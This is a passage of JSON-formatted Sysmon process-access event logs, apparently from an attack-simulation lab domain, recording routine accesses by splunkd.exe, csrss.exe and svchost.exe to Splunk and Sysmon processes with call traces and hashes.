Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-00104DAD0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-00104DAD0500}","TargetProcessId":"4780","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40C1-5F2D-0000-00104DAD0500}\r\nTargetProcessId: 4780\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40C1-5F2D-0000-00104DAD0500}","TargetProcessId":"4780","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3972,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3973,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:53:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3974,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:53:37.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:53:37.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:53:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 